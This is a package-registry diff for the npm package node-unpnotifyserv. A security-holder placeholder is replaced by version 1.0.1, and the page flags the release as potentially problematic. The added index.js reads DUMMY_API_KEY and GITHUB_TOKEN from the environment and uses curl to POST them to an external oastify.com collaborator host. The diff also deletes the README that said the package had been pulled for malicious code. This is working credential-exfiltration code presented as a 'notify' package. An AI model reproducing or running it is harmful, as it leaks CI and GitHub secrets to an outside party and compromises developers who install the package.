node-unpnotifyserv 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of node-unpnotifyserv might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +42 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,42 @@
1
+ const { exec } = require('child_process');
2
+
3
+ const url =
4
+ process.argv[2] ||
5
+ process.env.TARGET_URL ||
6
+ 'https://k5qrd15fb22e50xkl92r03h1jspjdd12.oastify.com/test';
7
+
8
+ const appEnv = process.env.APP_ENV || 'dev';
9
+ const version = process.env.VERSION || '1.0.0';
10
+
11
+ /**
12
+ * Read dummy secrets from CI environment
13
+ * These come from GitHub Actions secrets:
14
+ * DUMMY_API_KEY
15
+ * DUMMY_TOKEN
16
+ */
17
+ const dummyApiKey = process.env.DUMMY_API_KEY || '';
18
+ const dummyToken = process.env.GITHUB_TOKEN || '';
19
+
20
+ const payload = {
21
+ app_env: appEnv,
22
+ version: version,
23
+ dummy_api_key: dummyApiKey,
24
+ dummy_token: dummyToken
25
+ };
26
+
27
+ const cmd = `curl -X POST ${url} \
28
+ -H "Content-Type: application/json" \
29
+ -d '${JSON.stringify(payload)}'`;
30
+
31
+ console.log('Running outbound request...');
32
+
33
+ exec(cmd, (error, stdout, stderr) => {
34
+ if (error) {
35
+ console.error(`Error: ${error.message}`);
36
+ return;
37
+ }
38
+
39
+ if (stderr) console.error(stderr);
40
+
41
+ console.log(stdout);
42
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "node-unpnotifyserv",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "notify",
5
+ "license": "ISC",
6
+ "author": "",
7
+ "type": "commonjs",
8
+ "main": "index.js",
9
+ "scripts": {
10
+ "test": "echo \"Error: no test specified\" && exit 1"
11
+ }
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=node-unpnotifyserv for more information.